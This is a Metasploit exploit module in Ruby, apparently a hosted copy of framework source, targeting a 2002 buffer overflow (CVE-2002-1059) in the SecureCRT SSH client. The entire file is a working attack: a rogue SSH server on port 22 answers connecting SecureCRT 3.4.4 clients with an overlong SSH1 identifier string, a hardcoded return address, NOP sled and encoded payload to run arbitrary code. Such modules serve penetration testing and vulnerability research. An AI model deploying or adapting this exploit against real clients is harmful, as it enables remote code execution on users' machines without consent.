CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::TcpServer
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'SecureCRT SSH1 Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a buffer overflow in SecureCRT <= 4.0
16
        Beta 2. By sending a vulnerable client an overly long
17
        SSH1 protocol identifier string, it is possible to execute
18
        arbitrary code.
19

20
        This module has only been tested on SecureCRT 3.4.4.
21
      },
22
      'Author'         => 'MC',
23
      'License'        => MSF_LICENSE,
24
      'References'     =>
25
        [
26
          [ 'CVE', '2002-1059' ],
27
          [ 'OSVDB', '4991' ],
28
          [ 'BID', '5287' ],
29
        ],
30
      'DefaultOptions' =>
31
        {
32
          'EXITFUNC' => 'process',
33
        },
34
      'Payload'        =>
35
        {
36
          'Space'    => 400,
37
          'BadChars' => "\x00",
38
          'MaxNops'  => 0,
39
          'StackAdjustment' => -3500,
40
        },
41
      'Platform'       => 'win',
42
      'Targets'        =>
43
        [
44
          [ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
45
        ],
46
      'Privileged'     => false,
47
      'DisclosureDate' => '2002-07-23',
48
      'DefaultTarget'  => 0))
49

50
    register_options(
51
      [
52
        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
53
      ])
54
  end
55

56
  def on_client_connect(client)
57
    return if ((p = regenerate_payload(client)) == nil)
58

59
    buffer =  "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
60
    buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
61

62
    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
63

64
    client.put(buffer)
65
    handler
66

67
    service.close_client(client)
68
  end
69
end
70

71